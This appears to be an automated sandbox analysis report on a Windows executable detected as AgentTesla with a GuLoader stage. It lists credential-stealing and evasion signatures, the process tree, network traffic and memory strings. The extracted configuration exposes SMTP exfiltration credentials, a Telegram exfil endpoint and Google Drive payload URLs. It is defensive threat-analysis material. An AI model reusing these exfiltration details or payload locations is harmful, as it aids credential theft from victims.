Play interactive tour

Edit tour

Windows Analysis Report ejecutable.exe

Overview

General Information

Sample Name:	ejecutable.exe
Analysis ID:	1374
MD5:	e1034cf41226f321428de243d9248219
SHA1:	613dd5838e227f6a6587b25d9e947dcdbe59223d
SHA256:	276e2e964b739fdb0aaefc10f3144cf9484ee0e55a3e131293eefbaaf12ec47f
Infos:
Most interesting Screenshot:

Detection

AgentTesla GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Telegram RAT

Yara detected AgentTesla

Sigma detected: RegAsm connects to smtp port

Yara detected GuLoader

Hides threads from debuggers

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Tries to steal Mail credentials (via file access)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

ejecutable.exe (PID: 6692 cmdline: 'C:\Users\user\Desktop\ejecutable.exe' MD5: E1034CF41226F321428DE243D9248219)

RegAsm.exe (PID: 2476 cmdline: 'C:\Users\user\Desktop\ejecutable.exe' MD5: A64DACA3CFBCD039DF3EC29D3EDDD001)

conhost.exe (PID: 5652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "pablo@crealuz.esPu10?as1mail.crealuz.esdoggyvirus01@gmail.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.27685417885.0000000002AB0000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: RegAsm.exe PID: 2476	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegAsm.exe PID: 2476	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2476	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Sigma Overview

Networking:

Sigma detected: RegAsm connects to smtp port

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 31.193.225.171, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, Initiated: true, ProcessId: 2476, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49789

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: ejecutable.exe.6692.1.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "pablo@crealuz.esPu10?as1mail.crealuz.esdoggyvirus01@gmail.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: ejecutable.exe	Virustotal: Detection: 30%			Perma Link
Source: ejecutable.exe	ReversingLabs: Detection: 15%

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_012D114E CryptUnprotectData,		4_2_012D114E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_012D1113 CryptUnprotectData,		4_2_012D1113

Source: ejecutable.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.11.20:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.11.20:49788 version: TLS 1.2

Networking:

Source: Joe Sandbox View

ASN Name: HOSTINET_ASES HOSTINET_ASES

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 31.193.225.171 31.193.225.171

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/u51n8gtgjt7qad4qcj007t879hm9qvts/1632766425000/00519186742208262786/*/1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0g-50-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49789 -> 31.193.225.171:587

Source: global traffic

TCP traffic: 192.168.11.20:49789 -> 31.193.225.171:587

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: Cookies.4.dr	String found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
Source: RegAsm.exe, 00000004.00000002.32238904650.000000001E78B000.00000004.00000001.sdmp, Cookies.4.dr	String found in binary or memory: .www.linkedin.combscookie/+= equals www.linkedin.com (Linkedin)
Source: Cookies.4.dr	String found in binary or memory: .www.linkedin.combscookie//a equals www.linkedin.com (Linkedin)

Source: RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dst
Source: RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	String found in binary or memory: http://cps.letsencrypt.org0
Source: RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	String found in binary or memory: http://cps.root-x1.lets
Source: RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: RegAsm.exe, 00000004.00000002.32227904944.0000000001573000.00000004.00000020.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 00000004.00000002.32227904944.0000000001573000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	String found in binary or memory: http://r3.i.lencr.org/06
Source: RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	String found in binary or memory: http://rqpakr.com
Source: RegAsm.exe, 00000004.00000002.32227553585.0000000001533000.00000004.00000020.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: RegAsm.exe, 00000004.00000002.32227553585.0000000001533000.00000004.00000020.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: RegAsm.exe, 00000004.00000002.32238188608.000000001E70B000.00000004.00000001.sdmp	String found in binary or memory: https://XLkpubMIXQd8Ia.net
Source: RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.orgGETMozilla/5.0
Source: RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x
Source: RegAsm.exe, 00000004.00000003.27658093067.0000000001578000.00000004.00000001.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: RegAsm.exe, 00000004.00000002.32227517528.000000000152E000.00000004.00000020.sdmp	String found in binary or memory: https://doc-0g-50-docs.googleusercontent.com/5
Source: RegAsm.exe, 00000004.00000002.32227517528.000000000152E000.00000004.00000020.sdmp	String found in binary or memory: https://doc-0g-50-docs.googleusercontent.com/X
Source: RegAsm.exe, 00000004.00000003.27662560321.0000000001576000.00000004.00000001.sdmp	String found in binary or memory: https://doc-0g-50-docs.googleusercontent.com/docs/secure
Source: RegAsm.exe, 00000004.00000003.27658093067.0000000001578000.00000004.00000001.sdmp	String found in binary or memory: https://doc-0g-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/u51n8gtg
Source: RegAsm.exe, 00000004.00000002.32227231702.00000000014E8000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 00000004.00000003.27662560321.0000000001576000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr
Source: RegAsm.exe, 00000004.00000002.32227231702.00000000014E8000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr1
Source: RegAsm.exe, 00000004.00000003.27658054407.0000000001576000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDrhrkZv8nyWTiT3dlbs
Source: RegAsm.exe, 00000004.00000002.32228532360.00000000016B0000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDrwininet.dllMozilla/5
Source: RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Code function: 4_2_1E45A09A recv,

4_2_1E45A09A

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/u51n8gtgjt7qad4qcj007t879hm9qvts/1632766425000/00519186742208262786/*/1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0g-50-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.11.20:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.11.20:49788 version: TLS 1.2

Source: ejecutable.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_0133C58B	4_2_0133C58B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_01768518	4_2_01768518
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_017612A0	4_2_017612A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_01768B8E	4_2_01768B8E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D217900	4_2_1D217900
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D21DF6C	4_2_1D21DF6C
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D219740	4_2_1D219740
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D21D748	4_2_1D21D748
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D219B80	4_2_1D219B80
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D214F80	4_2_1D214F80
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D214210	4_2_1D214210
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D21E640	4_2_1D21E640
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D21D2B8	4_2_1D21D2B8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D21BAF4	4_2_1D21BAF4
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E452BC1	4_2_1E452BC1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E452B4A	4_2_1E452B4A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E452ADD	4_2_1E452ADD
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_209290D8	4_2_209290D8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_2092EE38	4_2_2092EE38

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E45B0BA NtQuerySystemInformation,		4_2_1E45B0BA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E45B089 NtQuerySystemInformation,		4_2_1E45B089

Source: ejecutable.exe, 00000001.00000002.27684569165.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameKLTRINGESTREGERNE.exe vs ejecutable.exe
Source: ejecutable.exe	Binary or memory string: OriginalFilenameKLTRINGESTREGERNE.exe vs ejecutable.exe

Source: ejecutable.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\ejecutable.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: security.dll	Jump to behavior

Source: ejecutable.exe	Virustotal: Detection: 30%
Source: ejecutable.exe	ReversingLabs: Detection: 15%

Source: ejecutable.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ejecutable.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\ejecutable.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ejecutable.exe 'C:\Users\user\Desktop\ejecutable.exe'
Source: C:\Users\user\Desktop\ejecutable.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 'C:\Users\user\Desktop\ejecutable.exe'
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ejecutable.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 'C:\Users\user\Desktop\ejecutable.exe'	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E45AF3E AdjustTokenPrivileges,		4_2_1E45AF3E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E45AF07 AdjustTokenPrivileges,		4_2_1E45AF07

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\gomh4u4x.cfu

Jump to behavior

Source: C:\Users\user\Desktop\ejecutable.exe

File created: C:\Users\user\AppData\Local\Temp\~DF3CCF9F1D32139551.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@4/3@3/3

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5652:304:WilStaging_02

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: 00000001.00000002.27685417885.0000000002AB0000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\ejecutable.exe	Code function: 1_2_00407733 push esp; retf	1_2_00407734
Source: C:\Users\user\Desktop\ejecutable.exe	Code function: 1_2_004065BC push ecx; ret	1_2_004065BD
Source: C:\Users\user\Desktop\ejecutable.exe	Code function: 1_2_02AB1978 push 00000010h; ret	1_2_02AB197A
Source: C:\Users\user\Desktop\ejecutable.exe	Code function: 1_2_02AB56B4 pushfd ; iretd	1_2_02AB56B6
Source: C:\Users\user\Desktop\ejecutable.exe	Code function: 1_2_02AB3612 push edi; ret	1_2_02AB362B
Source: C:\Users\user\Desktop\ejecutable.exe	Code function: 1_2_02AB1668 push ecx; iretd	1_2_02AB166A
Source: C:\Users\user\Desktop\ejecutable.exe	Code function: 1_2_02AB1442 push eax; retf	1_2_02AB1447
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1D21E423 push esp; iretd	4_2_1D21E439
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E452B4A push ds; retf	4_2_1E452B48
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E452ADD push ds; retf	4_2_1E452B48
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E452ADD push ds; retf	4_2_1E452D8C
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E452D6B push ds; retf	4_2_1E452D8C
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E490A1E push ds; retn 0020h	4_2_1E490A44
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E490A56 push ds; retn 0024h	4_2_1E490A7C
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 4_2_1E490AFE push ds; retn 0020h	4_2_1E490B24

Source: C:\Users\user\Desktop\ejecutable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ejecutable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ejecutable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ejecutable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ejecutable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
